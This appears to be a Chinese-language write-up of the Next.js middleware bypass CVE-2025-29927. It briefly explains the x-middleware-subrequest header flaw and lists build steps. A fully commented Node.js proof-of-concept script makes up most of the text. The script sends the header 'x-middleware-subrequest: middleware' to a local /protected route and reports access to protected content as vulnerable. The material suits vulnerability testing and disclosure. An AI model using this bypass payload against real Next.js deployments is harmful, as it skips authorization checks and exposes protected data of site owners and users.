
Next.js使用一个内部请求头 x-middleware-subrequest 来防止递归请求触发无限循环。该安全漏洞表明,可以跳过中间件的执行,这可能允许请求在到达路由之前绕过关键检查(例如授权Cookie验证)。
受影响
next start 并设置 output: 'standalone')不受影响

npm install

npm run build

node .next/standalone/server.js

node exploit-test.js 运行poc脚本检测漏洞是否存在
测试成功

poc脚本如下:
// exploit-test.txt
const http = require('http');
const https = require('https');
// 引入Node.js内置的HTTP/HTTPS模块,用于发送网络请求
// 定义控制台输出颜色(ANSI转义序列)
const colors = {
reset: '\x1b[0m', // 重置颜色
red: '\x1b[31m', // 红色 - 用于显示漏洞存在
green: '\x1b[32m', // 绿色 - 用于显示安全
yellow: '\x1b[33m', // 黄色 - 用于测试信息
blue: '\x1b[34m', // 蓝色 - 用于一般信息
magenta: '\x1b[35m', // 洋红色
cyan: '\x1b[36m', // 青色 - 用于标题
};
// ============ 核心HTTP请求函数 ============
// 发送HTTP请求并返回Promise包装的响应
function makeRequest(options) {
return new Promise((resolve, reject) => {
const req = http.request(options, (res) => {
let data = '';
res.on('data', (chunk) => {
data += chunk; // 收集响应数据块
});
res.on('end', () => {
resolve({
statusCode: res.statusCode, // HTTP状态码
headers: res.headers, // 响应头
body: data, // 响应体
location: res.headers.location // 重定向地址(如果存在)
});
});
});
req.on('error', (error) => {
reject(error); // 处理请求错误
});
req.end(); // 发送请求
});
}
// ============ 漏洞测试主函数 ============
async function runTest() {
console.log(`${colors.cyan}=== CVE-2025-29927 Next.js Middleware Bypass Test ====${colors.reset}\n`);
// 显示测试标题,CVE-2025-29927是Next.js中间件绕过漏洞
// 定义要测试的不同请求头变体
const headerVariations = [
['Normal Request (No Header)', {}], // 正常请求,无特殊头
['Exploit with "middleware" value', {'x-middleware-subrequest': 'middleware'}]
// 关键:利用尝试,添加Next.js中间件标识头
// 漏洞原理:Next.js在处理x-middleware-subrequest: 'middleware'时
// 可能错误地跳过中间件认证逻辑
];
// 遍历所有头变体进行测试
for (const [testName, headers] of headerVariations) {
console.log(`${colors.yellow}${testName}...${colors.reset}`);
// 发送请求到本地Next.js应用(假设运行在3000端口)
const response = await makeRequest({
hostname: 'localhost', // 目标主机
port: 3000, // Next.js默认端口
path: '/protected', // 测试的保护路径
method: 'GET', // HTTP方法
headers: headers // 当前测试的头信息
});
console.log(`Status code: ${response.statusCode}`);
if (response.location) {
console.log(`Location: ${response.location}`); // 显示重定向位置
}
// ============ 漏洞检测逻辑 ============
// 关键判断:如果状态码不是307(临时重定向),说明可能绕过了中间件
// Next.js中间件通常用307重定向来强制认证/授权
const success = response.statusCode !== 307;
if (success) {
// 检查响应体是否包含受保护内容
const hasProtectedContent = response.body.includes('Protected Content');
if (hasProtectedContent) {
// 发现漏洞:成功访问到受保护内容
console.log(`${colors.red}VULNERABLE: Access to protected content was granted!${colors.reset}`);
console.log(`Body snippet: "${response.body.slice(0, 200)}..."`); // 显示前200字符
} else {
// 非重定向但没有受保护内容(可能是其他页面)
console.log(`${colors.blue}Got non-redirect status code but no protected content${colors.reset}`);
}
} else {
// 系统安全:收到307重定向,中间件正常拦截
console.log(`${colors.green}Not vulnerable with this header (redirect to ${response.location})${colors.reset}`);
}
console.log(''); // 空行分隔不同测试结果
}
console.log(`${colors.cyan}=== Test Complete ====${colors.reset}`);
}
// ============ 执行测试 ============
runTest().catch(error => {
console.error('Error running test:', error); // 捕获并显示错误
});